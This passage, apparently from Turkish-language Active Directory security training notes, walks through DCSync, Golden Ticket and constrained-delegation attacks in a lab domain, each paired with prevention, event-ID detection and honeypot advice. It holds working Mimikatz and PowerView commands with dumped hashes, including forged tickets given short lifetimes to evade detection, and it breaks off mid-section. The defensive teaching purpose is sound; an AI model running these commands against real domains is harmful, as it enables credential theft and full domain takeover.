Hesap aktif (enabled) olmalı ve yakın zamanda giriş kayıtları bulunmalı — devre dışı veya hiç kullanılmamış bir hesap şüphe çeker.
Normal kullanıcı veya servis hesabı kullanılabilir, ama servis hesabı daha inandırıcıdır. Neden? Yöneticiler genellikle servis hesaplarını manuel oluşturur ve bu süreçte Description alanına parola yazmaya meyillidir. Buna karşılık, çalışan hesapları genellikle otomatik HR sistemleri tarafından oluşturulur (ve çalışan muhtemelen parolasını zaten değiştirmiştir).
Son parola değişikliği 2+ yıl önce olmalı — bu, parolanın hâlâ geçerli olduğuna dair inandırıcılık sağlar. Saldırgan "2 yıldır değiştirilmemiş parola, muhtemelen hâlâ çalışıyor" diye düşünür.

Beklenen alarm event'leri:

Parola yanlış olduğu için çoğunlukla başarısız giriş denemeleri beklenir. Lab ortamında saldırgan svc-iis hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:

Event ID 4625 — Başarısız oturum açma. Detaylarda: Account Name: svc-iis, Failure Reason: Unknown user name or bad password, Status: 0xC000006D, Sub Status: 0xC000006A (yanlış parola), Source Network Address: 172.16.18.20 (saldırganın/ele geçirilmiş makinenin IP'si).
Event ID 4771 — Kerberos ön kimlik doğrulaması başarısız. Detaylarda: Account Name: svc-iis, Client Address: ::ffff:172.16.18.4, Failure Code: 0x18 (yanlış parola), Pre-Authentication Type: 2.
Event ID 4776 — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda: Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0, Logon Account: svc-iis, Error Code: 0xC000006A (yanlış parola).

Bu Bölümün 7. Bölümle (Credentials in Shares) Karşılaştırması

| Kriter                | Bölüm 7: Shares                                     | Bölüm 8: Object Properties                            |
|-----------------------|------------------------------------------------------|--------------------------------------------------------|
| Kimlik bilgisi nerede | Ağ paylaşımındaki dosyalarda (.bat, .ps1, .ini vb.)  | AD nesne özelliklerinde (Description, Info alanları)   |
| Kim görebilir         | Paylaşıma erişimi olan herkes                        | Domain'deki HER kullanıcı (AD tasarımsal özelliği)     |
| Arama aracı           | findstr, SauronEye                                   | PowerShell (Get-ADUser + Description/Info filtresi)    |
| Neden oluşur          | Yönetici betiklere parola yazar                      | Yönetici hesap oluştururken Description'a parola yazar |
| Önleme zorluğu        | Paylaşım izinleri sıkılaştırılabilir                 | Eğitim + otomasyon gerekir, teknik engel zor           |
| Event 4738 ile tespit | Uygulanamaz (dosya tabanlı)                          | Yetersiz — değiştirilen özelliği göstermez             |
| Honeypot stratejisi   | Yanlış parolalı servis hesabı + dosyada sahte parola | Yanlış parolalı servis hesabı + Description'da sahte   |

Bu bölümün büyük resmi: 7. ve 8. bölümler birbirinin ikiz kardeşi — her ikisi de insan hatası kaynaklı kimlik bilgisi sızıntısı. Fark sadece "nerede saklıyor": biri dosyalarda, diğeri AD nesne özelliklerinde. Savunma açısından en önemli çıkarım: Event ID 4738'in spesifik özellik değişikliğini göstermemesi — bu, tespiti önlemeye göre çok daha zor yapıyor ve neden eğitim + otomasyonun kritik olduğunu vurguluyor.

BÖLÜM 9: DCSync

Açıklama (Description)

DCSync, bir saldırganın kendisini Domain Controller gibi göstererek (impersonate ederek), hedef bir Domain Controller ile replikasyon (eşleme) yapmasını ve bu sayede Active Directory'den parola hash'lerini çekmesini sağlayan bir saldırıdır.

Replikasyon nedir? Birden fazla DC'nin olduğu ortamlarda, DC'ler birbirleriyle sürekli veri paylaşır — bir DC'de parola değişirse, diğerleri de bunu öğrenmeli. Bu normal bir AD operasyonudur. DCSync, tam olarak bu meşru süreci kötüye kullanır.

Saldırı hem bir kullanıcı hesabından hem de bir bilgisayar hesabından gerçekleştirilebilir — tek koşul, hesabın şu iki izne sahip olmasıdır:

Replicating Directory Changes
Replicating Directory Changes All

Bu iki izin birlikte, bir hesaba "DC gibi replikasyon yapma" yetkisi verir. Normalde sadece DC'ler bu izinlere sahiptir — ama yanlış yapılandırma veya saldırganın önceki bir aşamada bu izinleri devretmesi sonucu başka hesaplarda da bulunabilir.

Saldırı (Attack)

ortamında Kaan kullanıcısı kullanılıyor (parolası MDR123). Kaan'nin izinleri kontrol edildiğinde, krysthal.local domain nesnesi üzerinde Replicating Directory Changes ve Replicating Directory Changes All yetkilerinin Allow (İzin Ver) olarak işaretlendiği görülüyor.

Adım 1 — Kaan olarak yeni bir komut satırı başlatma:

C:\Users\sss\Downloads> runas /user:krysthal\kaan cmd.exe
Enter the password for krysthal\kaan:
Attempting to start cmd.exe as user "krysthal\kaan" ...

Bu komut çalıştırıldığında, görev çubuğunda yeni bir Command Prompt penceresi açılıyor — başta cmd.exe (running as krysthal\kaan) yazıyor. Bu, artık tüm komutların Kaan'nin yetkileriyle çalışacağı anlamına gelir.

Adım 2 — Mimikatz ile DCSync saldırısını gerçekleştirme:

Yeşil olarak açılan yeni komut satırında Mimikatz çalıştırılıyor:

C:\Mimikatz> mimikatz.exe

mimikatz # lsadump::dcsync /domain:kaan.krysthal /user:Administrator

lsadump::dcsync → Mimikatz'ın DCSync modülü
/domain:krysthal.local → hedef domain
/user:Administrator → hash'ini çekmek istediğimiz kullanıcı

Çıktı — Hesap Bilgileri ve NTLM Hash:

[DC] 'krysthal.local' will be the domain
[DC] 'DC2.krysthal.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **
SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Password last change : 07/08/2026 11.24.13
Object Security ID   : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf

Çıktı — Ek Kriptografik Anahtarlar:

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3
      aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f
      des_cbc_md5 (4096) : d9b53b1f6d7c45a8

Ne elde ettik?

NTLM hash: fcdc65703dd2b0bd789977f1f3eeaecf — Administrator hesabının parola hash'i. Parolayı bilmeden bile bu hash ile Pass-the-Hash yaparak herhangi bir DC'ye doğrudan kimlik doğrulaması yapılabilir.
AES-256 anahtarı: Kerberos biletleri oluşturmak için kullanılabilir (Golden Ticket saldırısında işe yarar).
AES-128 anahtarı ve DES anahtarı da elde edildi.

Ek not: /user:Administrator yerine /all parametresi kullanılırsa, tüm AD ortamındaki her hesabın hash'i tek seferde çekilir. Bu, saldırganın domain'deki her kullanıcının kimlik bilgilerine sahip olması demektir — tam bir domain ele geçirme.

Önleme (Prevention)

DCSync'in kötüye kullandığı şey, AD ortamlarında her zaman gerçekleşen normal bir operasyondur (DC'ler arası replikasyon). Bu yüzden DCSync'i doğrudan "kutudan çıktığı haliyle" engellemek mümkün değildir.

Tek önleme tekniği: RPC Firewall gibi üçüncü parti bir ürün kullanmak. RPC Firewall, belirli RPC çağrılarını çok detaylı düzeyde (granüler) engelleyebilir veya izin verebilir. Örneğin: replikasyon isteklerinin yalnızca Domain Controller'lardan gelmesine izin ver, diğer tüm kaynaklardan gelen replikasyon isteklerini engelle.

Bu neden diğer bölümlerden farklı? Önceki tüm bölümlerde "izinleri sıkılaştır, parolayı güçlendir" gibi yerleşik (built-in) önlemler vardı. DCSync'te ise yerleşik bir önleme mekanizması yok — bu da bu saldırıyı özellikle tehlikeli yapıyor.

Tespit (Detection)

DCSync'i tespit etmek kolaydır çünkü her Domain Controller replikasyonu Event ID 4662 üretir. Bu event'i izleyip, başlatan hesabın bir Domain Controller olup olmadığını kontrol ederek anormal istekleri hemen yakalayabilirsiniz.

Lab'daki Event ID 4662 detayları:

Event 4662, Microsoft Windows security auditing.

Subject:
  Security ID:    KAAN\Yeşil
  Account Name:   yeşil          ← Domain Controller DEĞİL! Kırmızı bayrak!
  Account Domain: KAAN
  Logon ID:       0x1EB0C4C

Object:
  Object Server:  DS
  Object Type:    domainDNS
  Object Name:    DC=krysthal,DC=local

Operation:
  Operation Type: Object Access
  Accesses:       Control Access
  Access Mask:    0x100
  Properties:     Control Access
                  {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
                  domainDNS

Kritik tespit noktası: Account Name: yeşil — bu bir kullanıcı hesabı, Domain Controller değil. Normal replikasyonda burada bir DC'nin makine hesabı (örneğin DC1$) görünmesi gerekir. Bir kullanıcı hesabının replikasyon yapması derhal alarm tetiklemelidir.

Yanlış pozitiflerden kaçınmak için iki kural:

GUID kontrolü: Event'te şu iki GUID'den birinin (veya her ikisinin) bulunduğundan emin olun:
- 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 → Replicating Directory Changes iznini temsil eder
- 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 → Replicating Directory Changes All iznini temsil eder
- Bu GUID'ler event'in Properties alanında görünür. Bunların varlığı, bunun gerçek bir replikasyon isteği olduğunu doğrular.
Meşru hesapların beyaz listeye alınması: Bazı hizmetler meşru nedenlerle sürekli replikasyon yapar — en yaygın örnek Azure AD Connect. Bu hizmet, DC'leri sürekli replike ederek elde ettiği parola hash'lerini Azure AD'ye gönderir. Bu hesabı beyaz listeye alarak yanlış pozitif üretmesini engelleyin.

Honeypot

Bu bölümde ayrı bir Honeypot alt başlığı bulunmuyor. Tespit mekanizmasının kendisi zaten çok güçlü — Event ID 4662 + hesap adı kontrolü neredeyse sıfır yanlış pozitifle çalışır (beyaz liste doğru yapılandırıldığında).

Özet Tablosu

Kriter	DCSync
Saldırı etkisi	Tüm domain'deki HER hesabın parola hash'i çekilebilir
Gerekli izinler	Replicating Directory Changes + Changes All
Kullanılan araç	Mimikatz (lsadump::dcsync)
Önleme	Yerleşik yok — sadece RPC Firewall (3. parti)
Tespit	Event ID 4662 — kolay ve güvenilir
Yanlış pozitif riski	Düşük (GUID filtresi + beyaz liste ile)
Honeypot	Ayrı alt başlık yok, tespit zaten çok güçlü
Saldırı sonrası etki	Pass-the-Hash, Golden Ticket, tam domain ele geçirme

BÖLÜM 10: GOLDEN TICKET

Açıklama (Description)

Kerberos Golden Ticket, saldırganın domain'deki herhangi bir kullanıcı için sahte TGT bileti oluşturmasını sağlayan bir saldırıdır, yani saldırgan kendini Domain Controller gibi davranır.

Bunu anlamak için 1. bölümden hatırla: Domain oluşturulduğunda krbtgt adlı benzersiz bir hesap otomatik olarak yaratılır. Bu hesap devre dışıdır, silinemez, yeniden adlandırılamaz ve etkinleştirilemez. Domain Controller'ın KDC servisi, tüm Kerberos biletlerini imzalamak için krbtgt hesabının parola hash'inden türetilmiş bir anahtar kullanır. Bu hash, tüm domain'deki en güvenilir nesnedir — çünkü ortamdaki tüm nesneler, domain tarafından verilen Kerberos biletlerinin geçerliliğini bu hash ile doğrular.

Sonuç: krbtgt hesabının parola hash'ine sahip olan herkes, geçerli Kerberos TGT'leri oluşturabilir. krbtgt bu biletleri imzaladığı için, sahte (forged) TGT'ler ortamda geçerli bilet olarak kabul edilir. Geçmişte, var olmayan kullanıcılar için bile bilet oluşturmak ve onlara istedikleri yetkileri atamak mümkündü (Windows 2019'da bu engellenmiştir).

Golden Ticket saldırısı ayrıca şunu da sağlar: Aynı forest içindeki herhangi bir alt domain'den (child domain) üst domain'e (parent domain) yetki yükseltme yapılabilir. Yani bir test domain'ini ele geçiren saldırgan, aynı forest'taki production domain'ine yükselme yapabilir — çünkü domain, güvenlik sınırı (security boundary) değildir; forest güvenlik sınırıdır.

Kritik not: Bu saldırı, saldırganın zaten Domain Admin veya benzer yüksek yetkileri elde ettikten sonra kullandığı bir kalıcılık (persistence) tekniğidir. İlk erişim aracı değil, elde edilen erişimi koruma aracıdır.

Saldırı (Attack)

Golden Ticket oluşturmak için Mimikatz'a şu parametreler gerekiyor:

/domain — Domain'in adı (örn: krysthal.local)
/sid — Domain'in SID değeri
/rc4 — krbtgt hesabının NTLM parola hash'i
/user — Biletin oluşturulacağı kullanıcı adı (örn: Administrator)
/id — Kullanıcının RID'si (Relative ID — SID'in son kısmı, örn: Administrator için 500)

Ek parametreler (ileri düzey saldırganlar için): Varsayılan olarak Mimikatz, 10 yıllık ömürlü bilet oluşturur, bu EDR/SIEM çözümleri tarafından çok kolay tespit edilir. Bu yüzden gelişmiş tehdit aktörleri şu parametreleri de belirtir:

/renewmax — Biletin yenilenebileceği maksimum gün sayısı
/endin — Biletin sona erme süresi

Adım 1 — krbtgt hash'ini elde etme (DCSync ile):

Önceki bölümdeki DCSync saldırısı kullanılarak krbtgt hesabının hash'i çekiliyor:

C:\Mimikatz> mimikatz.exe

mimikatz # lsadump::dcsync /domain:krysthal.local /user:krbtgt

Çıktı:

[DC] 'krysthal.local' will be the domain
[DC] 'DC1.krysthal.local' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN              : krbtgt

** SAM ACCOUNT **
SAM Username            : krbtgt
Account Type            : 30000000 ( USER_OBJECT )
User Account Control    : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Password last change    : 07/08/2026 11.26.54
Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-502
Object Relative ID      : 502

Credentials:
  Hash NTLM: db0d0630064747072a7da3f7c3b4069e

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : KRYSTHAL.LOCALkrbtgt
    Credentials
      aes256_hmac (4096) : 1335dd3a999cacbae9164555c30f71c568fbaf9c3aa83c4563d25363523d1efc
      aes128_hmac (4096) : 8ca6bbd37b3bfb692a3cfaf68c579e64
      des_cbc_md5 (4096) : 580229010b15b52f

!!!

Adım 2 — Domain SID'ini elde etme (PowerView ile):

powershell

PS C:\Users\infa\Downloads> powershell -exec bypass
PS C:\Users\infa\Downloads> . .\PowerView.ps1
PS C:\Users\infa\Downloads> Get-DomainSID
S-1-5-21-1518138621-4282902758-752445584

Adım 3 — Golden Ticket oluşturma ve oturuma enjekte etme:

Artık tüm gerekli bilgiler mevcut. Mimikatz ile sahte bilet oluşturuluyor:

C:\Mimikatz> mimikatz.exe

mimikatz # kerberos::golden /domain:krysthal.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt

Parametrelerin tek tek açıklaması:

/domain:krysthal.local → hedef domain
/sid:S-1-5-21-... → domain SID'i (Adım 2'den)
/rc4:db0d06... → krbtgt NTLM hash'i (Adım 1'den)
/user:Administrator → sahte bileti oluşturduğumuz kullanıcı
/id:500 → Administrator'ın RID'si
/renewmax:7 → bilet en fazla 7 dakika yenilenebilir (tespit edilmemek için kısa)
/endin:8 → bilet 8 dakika sonra sona erer (tespit edilmemek için kısa)
/ptt → Pass The Ticket — bileti doğrudan mevcut oturuma enjekte et

Çıktı:

User      : Administrator
Domain    : krysthal.local (KRYSTHAL)
SID       : S-1-5-21-1518138621-4282902758-752445584
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: db0d0630064747072a7da3f7c3b4069e - rc4_hmac_nt
Lifetime  : 13/10/2026 06.28.43 ; 13/10/2026 06.36.43 ; 13/10/2026 06.35.43
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ krysthal.local' successfully submitted for current session

Groups Id alanında görünen sayılar (*513 512 520 518 519), Mimikatz'ın otomatik olarak atadığı yüksek yetkili grup RID'leridir: Domain Users (513), Domain Admins (512), Group Policy Creator Owners (520), Schema Admins (518), Enterprise Admins (519).

📸 SS AL → Sayfa 61 üst yarı: Mimikatz çıktısında bilet oluşturma adımları (PAC generated, PAC signed, EncTicketPart generated/encrypted, KrbCred generated) ve "Golden ticket successfully submitted" onayı. Kırmızı kutu ile "Ticket generated and submitted in current cmd session" notu işaretli.

Adım 4 — Biletin çalıştığını doğrulama (klist):

Mimikatz'dan çıktıktan sonra klist komutuyla mevcut oturumdaki biletler listeleniyor:

mimikatz # exit
Bye!

C:\Mimikatz> klist

Current LogonId is 0:0x9cbd6

Cached Tickets: (1)

#0>     Client: Administrator @ krysthal.local
        Server: krbtgt/krysthal.local @ krysthal.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 10/13/2026 06.28.43 (local)
        End Time:   10/13/2026 06.36.43 (local)
        Renew Time: 10/13/2026 06.35.43 (local)

Burada önemli alanlar:

Client: Administrator @ krysthal.local → sahte biletin kime ait göründüğü
Server: krbtgt/krysthal.local → biletin krbtgt tarafından imzalandığı
Encryption Type: RSADSI RC4-HMAC(NT) → RC4 şifreleme kullanıldığı
End Time ve Renew Time → /endin:8 ve /renewmax:7 parametrelerimizle uyumlu kısa ömür

📸 SS AL → Sayfa 61 alt yarı: klist çıktısında Administrator @ krysthal.local için sahte bilet görünüyor, RC4-HMAC şifreleme tipi ve 8 dakikalık kısa ömür.

Adım 5 — Bileti kullanarak DC'ye erişme:

Sahte biletin gerçekten çalıştığını doğrulamak için, DC1'in C$ paylaşımı listeleniyor:

C:\Mimikatz> dir \\dc1\c$

 Volume in drive \\dc1\c$ has no label.
 Volume Serial Number is 2CD0-9665

 Directory of \\dc1\c$

15/10/2026  08.30    <DIR>          DFSReports
13/10/2026  13.23    <DIR>          Mimikatz
01/09/2026  11.49    <DIR>          PerfLogs
28/11/2026  01.59    <DIR>          Program Files
01/09/2026  04.02    <DIR>          Program Files (x86)
13/12/2026  02.22    <DIR>          scripts
07/08/2026  11.31    <DIR>          Users
28/11/2026  02.27    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)  44.947.984.384 bytes free

Saldırgan, sahte bilet ile Domain Controller'ın tüm dosya sistemine erişim sağlamış durumda. infa kullanıcısının normalde asla göremeyeceği DC1'in C: sürücüsü, sahte Administrator bileti sayesinde tamamen açık.

📸 SS AL → Sayfa 62: dir \dc1\c$ çıktısında DC1'in dosya sistemi listeleniyor — DFSReports, Mimikatz, PerfLogs, Program Files vb. klasörler görünüyor.

Önleme (Prevention)

Sahte bilet oluşturmayı önlemek zordur — çünkü KDC de geçerli biletleri aynı prosedürle oluşturur. Saldırgan gerekli tüm bilgilere sahip olduğunda, bilet üretebilir. Yine de yapılması gereken birkaç şey var:

1) Ayrıcalıklı kullanıcıların herhangi bir cihazdan kimlik doğrulamasını engelleyin. PAW (Privileged Access Workstation) kullanın — yüksek yetkili hesaplar sadece bu iş istasyonlarından giriş yapabilsin.

2) krbtgt hesabının parolasını periyodik olarak sıfırlayın. Bu hash'in gizliliği Active Directory güvenliğinin temelidir. Parola sıfırlanırken (parolanın gücünden bağımsız olarak) AD bunu her zaman rastgele, kriptografik olarak güvenli bir değerle değiştirir. Microsoft'un KrbtgtKeys.ps1 betiğini kullanmak şiddetle önerilir çünkü:

Parola değişikliği öncesinde ortamı denetleyen bir audit modu vardır
Tüm DC'ler arasında anlık replikasyonu zorlar — böylece tüm DC'ler yeni değeri anında alır ve potansiyel iş kesintileri azalır

3) SIDHistory filtrelemesini etkinleştirin. Forest içindeki domain'ler arasında SIDHistory filtrelemesi uygulanarak, alt domain'den üst domain'e yetki yükseltme engellenir. Yükseltme yolu, SIDHistory özelliğini ayrıcalıklı bir grubun SID'i olarak ayarlamayı (örneğin Enterprise Admins) içerir. Ama dikkat: Bu, domain migrasyonlarında sorunlara yol açabilir.

Tespit (Detection)

Kullanıcı davranışını korelasyonlamak, sahte biletlerin kötüye kullanımını tespit etmenin en iyi tekniğidir. Bir kullanıcının normalde nereden ve ne zaman giriş yaptığını biliyorsak, anormal davranışları alarm olarak işaretlemek kolaydır.

Kritik bir detay: Domain Controller'lar, bir tehdit aktörü ele geçirilmiş makineden Golden Ticket oluşturduğunda event loglamaz. Ancak, saldırgan bu bileti kullanarak başka bir sisteme erişmeye çalıştığında, hedef sistemde başarılı giriş event'leri görünür.

Birinci tespit noktası — Event ID 4624/4625:

Eğer organizasyon PAW kullanıyorsa, ayrıcalıklı kullanıcıların bu makineler dışından kimlik doğrulaması yapmaması beklenir. Farklı bir IP'den gelen giriş = alarm.

Lab ortamında Golden Ticket kullanılarak başka bir sisteme erişildiğinde Event ID 4624 üretiliyor:

Event 4624 — Başarılı oturum açma

Logon Type:            3
Account Name:          Administrator
Account Domain:        krysthal.local
Logon GUID:            {76f46441-2072-b710-591b-1ae0adc7a0c0}
Source Network Address: 172.16.18.25   ← Ele geçirilmiş makine (PAW değil!)

Event normal görünüyor — ama kaynak IP adresi PAW iş istasyonu değil, sıradan bir makine. Kullanıcı adını kaynak adresiyle korelasyonlayarak anormal aktivite tespit edilebilir.

İkinci tespit noktası — Önceki TGT olmadan TGS isteği:

dir \\dc1\c$ komutu çalıştırıldığında DC üzerinde iki TGS bileti üretildi (Event ID 4769). Saldırı senaryosunda bu iki bileti incelemek gerekiyor:

Ticket 1 (DC1$ servisi için):

Event 4769

Account Name:           Administrator@krysthal.local
Account Domain:         krysthal.local
Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}

Service Name:           DC1$
Service ID:             KRYSTHAL\DC1$

Client Address:         ::ffff:172.16.18.25
Client Port:            56212
Ticket Encryption Type: 0x12

Ticket 2 (krbtgt servisi için):

Event 4769

Account Name:           Administrator@krysthal.local
Account Domain:         krysthal.local
Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}

Service Name:           krbtgt
Service ID:             KRYSTHAL\krbtgt

Client Address:         ::ffff:172.16.18.25
Client Port:            56213
Ticket Encryption Type: 0x12

İki bilet arasındaki tek fark servis adıdır (DC1$ vs krbtgt). Ancak bu biletler, Golden Ticket ile ilişkilendirilmemiş normal TGS event'leriyle tamamen aynı görünür — bu da tespiti zorlaştırır. Yine, kaynak adres korelasyonu (PAW dışı makineden geliyorsa) en güvenilir tespit yöntemidir.

Üçüncü tespit noktası — SID Filtering:

Eğer domain'ler arası SID filtrelemesi etkinleştirilmişse, cross-domain yetki yükseltme denemesinde Event ID 4675 üretilir.

Önemli Not: Forest Ele Geçirilmişse Ne Yapılmalı?

Eğer bir Active Directory forest'ı ele geçirilmişse, yapılması gerekenler:

Tüm kullanıcıların parolalarını sıfırlayın
Tüm sertifikaları iptal edin (revoke)
krbtgt parolasını İKİ KEZ sıfırlayın (her domain'de)

Neden iki kez? krbtgt hesabının parola geçmişi değeri 2'dir — yani son iki parolayı saklar. Parolayı iki kez sıfırlayarak, eski parolaların tamamen geçmişten silinmesini sağlarsınız. Böylece başka bir DC'nin eski bir parola kullanarak replikasyon yapma ihtimali ortadan kalkar.

Ama kritik uyarı: İki sıfırlama arasında en az 10 saat beklenmelidir (maksimum kullanıcı bileti ömrü). Daha kısa sürede yapılırsa bazı servislerin bozulması beklenmelidir.

Honeypot

Bu bölümde ayrı bir Honeypot alt başlığı bulunmuyor. Golden Ticket saldırısı, zaten krbtgt hash'inin ele geçirilmesini gerektirdiği için (ki bu da DCSync veya NTDS.DIT çalınmasını gerektirir), honeypot kurmanın pratik bir yolu yoktur — asıl savunma, krbtgt hash'inin korunması ve düzenli sıfırlanmasıdır.

Özet Tablosu

| Kriter                    | Golden Ticket                                             |
|---------------------------|-----------------------------------------------------------|
| Saldırı türü              | Kalıcılık (persistence) — ilk erişim değil                |
| Ön koşul                  | krbtgt hash'i (DCSync veya NTDS.DIT ile elde edilir)      |
| Kullanılan araç           | Mimikatz (kerberos::golden)                               |
| Ne elde edilir             | Herhangi bir kullanıcı için sahte TGT — sınırsız yetki    |
| Forest genelinde yükseltme| Evet — alt domain'den üst domain'e geçiş mümkün           |
| Önleme                    | krbtgt parolasını periyodik sıfırla + SIDHistory filtrele  |
| Tespit                    | Event 4624/4625 (PAW korelasyonu) + Event 4675 (SID filt.)|
| Varsayılan bilet ömrü     | Mimikatz: 10 yıl (çok kolay tespit edilir)                |
| Akıllı saldırgan          | /renewmax ve /endin ile kısa ömürlü bilet oluşturur       |
| Forest ele geçirilmişse   | Tüm parolalar sıfırla + krbtgt 2 kez sıfırla (10 sa ara) |

BÖLÜM 11: KERBEROS CONSTRAINED DELEGATION

Kerberos Delegasyonu, bir uygulamanın farklı bir sunucuda barındırılan kaynaklara erişmesini sağlar.

Bir web sunucusu var ve arka planda bir SQL veritabanı var. Web sunucusunu çalıştıran servis hesabına veritabanına doğrudan erişim vermek yerine, o hesabın SQL sunucu servisine delege edilmesine izin verebiliriz.

Peki bu pratikte nasıl işler?

Kullanıcı web sitesine giriş yapar
Web sunucusu servis hesabı, o kullanıcı adına ("on behalf of that user") SQL sunucu servisine erişim ister
Kullanıcı, kendisine tahsis edilmiş veritabanı içeriğine erişir

Buradaki kazanç: Web sunucusu servis hesabının kendisine hiçbir erişim atamak zorunda kalmazsınız. Yetki kullanıcının kendisinden gelir, servis hesabından değil.

Active Directory'deki Üç Delegasyon Türü

Tür	Yapılandırma nerede tutulur	Ne yapabilir
Unconstrained Delegation	—	En izin verici / en geniş. Bir hesabın herhangi bir servise delegasyon yapmasına izin verir
Constrained Delegation	Kullanıcı hesabının özelliklerinde	Hesabın hangi servis(ler)e delegasyon yapabileceği belirtilir
Resource-based Delegation	Delegasyonun yapılacağı bilgisayar nesnesinde	Bilgisayar şu şekilde yapılandırılır: "Ben sadece şu hesaba/hesaplara güveniyorum"

**Önemli

Herhangi bir delegasyon türünün olası bir güvenlik riski olduğunu bilmek ve anlamak son derece önemlidir; gerekli olmadıkça delegasyondan kaçınmalıyız.

Üretim ortamlarında pratik durum (doküman bunu özellikle belirtiyor):

Resource-based delegation'ın bir yönetici tarafından üretim ortamında yapılandırıldığını görmek nadirdir. Bunu genellikle tehdit aktörleri cihazları ele geçirmek için kötüye kullanır.
Buna karşılık Unconstrained ve Constrained delegasyonlara üretim ortamlarında sıkça rastlanır.

Saldırı (Attack)

Doküman burada net bir sınır çiziyor: Yalnızca constrained delegation istismarı gösterilecek.

Saldırının Çalışma Mantığı

Bir hesap delegasyon için güvenilir olduğunda, KDC'ye şöyle bir istek gönderir:

"Bana YYYY kullanıcısı için bir Kerberos bileti ver, çünkü ben bu kullanıcıyı ZZZZ servisine delege etmeye yetkiliyim."

Ve KDC, YYYY kullanıcısı için bir Kerberos bileti üretir — YYYY kullanıcısının parolası hiç sağlanmadan.

Protokol Geçişi (Protocol Transition): Doküman burada çok önemli bir genişleme anlatıyor. Kullanıcı özelliklerinde yapılandırılmamış olsa bile başka bir servise delegasyon yapmak da mümkündür. Örnek olarak veriyor: LDAP için delegasyon yetkimiz varsa, protokol geçişi yaparak CIFS veya HTTP gibi başka herhangi bir servise de yetkilendirilebiliriz.

Yani yöneticinin "sadece şu servise izin verdim" düşüncesi, pratikte sınırlayıcı olmaktan çıkar.

Saldırı Senaryosu

Doküman şu varsayımla başlıyor: web_service kullanıcısı delegasyon için güvenilir ve ele geçirilmiş durumda. Bu hesabın parolası: MVP123

Adım 1 — Delegasyon için güvenilen hesapları bulma

PowerView'in Get-NetUser fonksiyonu, domain'de constrained delegation için güvenilen kullanıcı hesaplarını listelemek üzere kullanılıyor:

powershell

PS C:\Users\infa\Downloads> Get-NetUser -TrustedToAuth

Dokümanın notu: Egzersiz boyunca -TrustedToAuth parametresiyle numaralandırma yaparken, C:\Users\infa\Downloads konumunda bulunan PowerView-main.ps1 dosyasını kullanın.

Çıktı (tam hali):

logoncount                    : 23
badpasswordtime               : 12/31/1601 4:00:00 PM
distinguishedname             : CN=web service,CN=Users,DC=krysthal,DC=local
objectclass                   : {top, person, organizationalPerson, user}
displayname                   : web service
lastlogontimestamp            : 10/13/2026 2:12:22 PM
userprincipalname             : webservice@krysthal.local
name                          : web service
objectsid                     : S-1-5-21-1518138621-4282902758-752445584-2110
samaccountname                : webservice
codepage                      : 0
samaccounttype                : USER_OBJECT
accountexpires                : NEVER
countrycode                   : 0
whenchanged                   : 10/13/2026 9:53:09 PM
instancetype                  : 4
usncreated                    : 135866
objectguid                    : b89f0cea-4c1a-4e92-ac42-f70b5ec432ff
lastlogoff                    : 1/1/1600 12:00:00 AM
msds-allowedtodelegateto      : {http/DC1.krysthal.local/krysthal.local,
                                 http/DC1.krysthal.local, http/DC1,
                                 http/DC1.krysthal.local/KRYSTHAL...}
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=krysthal,DC=local
dscorepropagationdata         : 1/1/1601 12:00:00 AM
serviceprincipalname          : {cvs/dc1.krysthal.local, cvs/dc1}
givenname                     : web service
lastlogon                     : 10/14/2026 2:31:39 PM
badpwdcount                   : 0
cn                            : web service
useraccountcontrol            : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
                                TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                   : 10/13/2026 8:32:35 PM
primarygroupid                : 513
pwdlastset                    : 10/13/2026 10:36:04 PM
msds-supportedencryptiontypes : 0
usnchanged                    : 143463

web_service kullanıcısının, Domain Controller DC1'e HTTP servisi için delegasyon yapmak üzere yapılandırıldığını görüyoruz.

Ve şu kritik zinciri kuruyor:

HTTP servisi, PowerShell Remoting çalıştırma yeteneği sağlar
Dolayısıyla web_service üzerinde kontrol elde eden herhangi bir tehdit aktörü, Active Directory'deki herhangi bir kullanıcı için Kerberos bileti isteyebilir
Ve bu bileti kullanarak DC1'e PowerShell Remoting üzerinden bağlanabilir

Adım 2 — Parolayı NTLM hash'ine çevirme

